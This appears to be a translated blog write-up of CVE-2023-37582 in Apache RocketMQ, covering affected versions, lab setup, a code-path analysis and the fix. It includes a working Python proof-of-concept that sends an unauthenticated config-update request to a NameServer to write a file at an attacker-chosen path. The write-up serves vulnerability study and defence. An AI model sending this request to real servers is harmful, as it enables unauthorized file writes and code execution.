CVE-2023-37582 Apache RocketMQ 원격 코드 실행 취약점

94de55247dd138a9c57721a998e4cc01.jpeg

취약점 프로필

Apache RocketMQ는 짧은 대기 시간, 높은 동시성, 고가용성 및 높은 안정성을 갖춘 분산 메시지 미들웨어입니다. CVE-2023-37582에서는 CVE-2023-33246의 불완전한 복구로 인해 Apache RocketMQ NameServer에 대한 무단 액세스가 있는 경우 공격자가 RocketMQ를 실행하는 시스템 사용자로 명령을 실행하는 악의적인 요청을 구성할 수 있습니다.

영향을 받는 버전

아파치 RocketMQ <= 5.1.1
아파치 RocketMQ <= 4.9.6

환경 빌드

Apache RocketMQ 원격 코드 실행 취약점 CVE-2023-33246 환경 설정 참조

여전히 디버깅의 편의를 위해 Linux에서 RocketMQ 관련 서비스를 빌드하고 소스 코드를 사용하여 시작합니다.

총 2개의 서비스를 실행해야 합니다.

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup


먼저 NamesrvStartup을 시작한 다음 BrokerStartup을 시작하고 환경 변수 ROCKETMQ_HOME ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0을 구성해야 합니다.

ce259a67f9336d848a4974094c449948.jpeg 6562608b2162b6b6fcf7046c9b89ba6c.jpeg

취약점 재발

파이썬 스크립트 실행

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',9876))

# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
0c9a849138989601b1aaf0d15cfb9375.jpeg db6dfca204f2e35fff6b4c65bf2dfe8f.jpeg

tmp 디렉터리 아래의 test.txt 파일에 지정된 문자열 테스트를 성공적으로 작성합니다.

취약점 분석

org/apache/rocketmq/remoting/protocol/RequestCode.java코드는 다른 기능을 호출하는 것을 의미하며 이때 318 업데이트 구성 작업이 호출됩니다.

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

339c1c64817c0b2140c5eb6c36a918f2.jpeg

해당 코드에 따라 해당 기능이 처리를 위해 호출됩니다.

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

e3e2f76be6dfa323c0d1798843d4b087.jpeg

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

86a2d7447cc3571a9c52021fa3655c77.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

a998daed5aee9f59a283e7f60dc314f1.jpeg

먼저 제어 가능한 속성인지 여부를 확인합니다.

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

7085a69b00298b69c6a00b5b35096846.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

789143faf5c9b3c921465bc7096d4902.jpeg

파일 경로를 얻기 위해 호출하며  getStorePath이때 얻은 값은 configStorePath의 값입니다.

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

e841b4f02e0a11ea9ac523e006008c76.jpeg

src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

682779227b07affabc38b789e29a59cc.jpeg

src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

f1d3eb33fa5177e262af109cf983e78b.jpeg

버그 수정

구성 경로 수정을 비활성화하는 매개변수 수정

472dbac233e74fd8173fe7202843331b.jpeg

원본 원고 요청

원본 기술 문서 요청, 게시 환영

제출 이메일: [email protected]

기사 유형: 해커 괴짜 기술, 정보 보안 핫스팟, 보안 연구 및 분석 등

심사를 통과하여 게재하면 200~800위안 범위의 보수를 받을 수 있습니다.

자세한 내용은 보기를 클릭하세요!

66eca8269d9c23fc74bb190f293f930c.gif

사격장 연습, "원문 읽기" 클릭

추천

출처blog.csdn.net/qq_38154820/article/details/132033601